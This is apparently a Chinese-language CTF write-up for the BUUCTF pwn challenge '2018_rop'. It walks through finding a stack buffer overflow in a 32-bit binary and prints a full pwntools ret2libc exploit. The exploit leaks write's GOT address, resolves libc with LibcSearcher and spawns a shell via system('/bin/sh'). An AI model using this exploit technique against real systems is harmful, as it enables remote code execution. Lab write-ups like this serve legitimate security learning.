先启动靶机连接看看。
直接ls,就给我输出句话,看来不能直接拿flag。
那走下流程。
查下位数和其他信息:
可以看到是32位的包,开了NX,但没开其他保护。
用ida32打开looklook。
主函数就是个这,看到了弹出的字符串,前面有2个函数,分别进去看看。
感觉第一个函数没啥能搞的点。
第二个函数:传入的字符为88,但是读100个,有溢出的
下面找一下后门,开始没发现啥直接的后门,shift+f12.
发现可以造成libc泄露,可以先回传libc版本,然后计算system函数的地址。最后完成这个题。
payload:
from pwn import *
from LibcSearcher import *
p = remote("node5.buuoj.cn",28358)
elf = ELF("./2018_rop")
main_add = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = 'a'*(0x88 + 4)
payload = payload + p32(write_plt) + p32(main_add) + p32(1) + p32(write_got) + p32(4)
p.sendline(payload)
write_add = u32(p.recv())
libc = LibcSearcher('write',write_add)
libc_base = write_add - libc.dump('write')
sys_add = libc_base + libc.dump('system')
bin_add = libc_base + libc.dump('str_bin_sh')
payload_ = 'a'*(0x88 + 4) + p32(sys_add) + p32(1) + p32(bin_add)
p.sendline(payload_)
p.interactive()
libc = LibcSearcher(‘write’,write_add)
libc_base = write_add - libc.dump(‘write’)
sys_add = libc_base + libc.dump(‘system’)
bin_add = libc_base + libc.dump(‘str_bin_sh’)
这里我是看其他佬的博客学会的。
附上佬的博客:
https://blog.csdn.net/weixin_45743302/article/details/117574749?fromshare=blogdetail&sharetype=blogdetail&sharerId=117574749&sharerefer=PC&sharesource=2301_81574836&sharefrom=from_link